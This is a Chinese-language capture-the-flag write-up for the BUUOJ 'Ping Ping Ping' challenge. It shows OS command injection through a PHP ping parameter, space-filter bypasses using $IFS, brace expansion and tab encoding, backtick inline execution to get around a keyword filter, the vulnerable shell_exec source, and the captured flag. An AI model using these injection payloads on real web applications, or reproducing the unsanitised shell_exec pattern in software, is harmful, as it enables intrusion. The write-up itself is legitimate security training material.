[GXYCTF2019]Ping Ping Ping 1
進入介面

根據提示進行ping訊號
看到網頁的內容就想到經典的Linux命令執行,使用命令執行的管道符 ” | “嘗試列出文件
FLAG應該在Flag.php裡面
構造playload進行提取
//3747c9d4-f879-4d08-8c70-eaf4963f4e8c.node3.buuoj.cn/?ip=110.242.68.3|cat flag.php
提示:「/?ip= fxck your space!」,space暗示我們存在空格過濾,嘗試構造語句來繞過空格
$IFS ${IFS} $IFS$1 // $1改成$加其他數字貌似都行 < <> {cat,flag.php} // 用逗號實現了空格功能 %20 %09
出現新的提示「/?ip= 1fxck your symbol!」
說明仍然存在「flag」過濾,聯想之前做的BUU題目,提示應該藏在另外一個php文件(index.php)裡面,於是利用上面的繞過空格來構造Playload進行查看index.php
http://3747c9d4-f879-4d08-8c70-eaf4963f4e8c.node3.buuoj.cn/?ip=110.242.68.3|cat${IFS}index.php
經行php程式碼審計
/?ip= |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); //preg_math函數過濾掉的字元 die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ //同上 die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ //同上 die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo " "; print_r($a); } ?>
內聯輸出:使用反引號 “代替 |,經反引號的輸出命令轉換為輸出
構造playload
http://3747c9d4-f879-4d08-8c70-eaf4963f4e8c.node3.buuoj.cn/?ip=110.242.68.3;cat$IFS$9%60ls%60
得到flag
flag = "flag{1fe19100-c980-45f2-9625-262cbd69f6fa}"
考點:
PHP preg_match() 函數過濾
內聯執行:使用反引號 “代替 |,經反引號的輸出命令轉換為輸出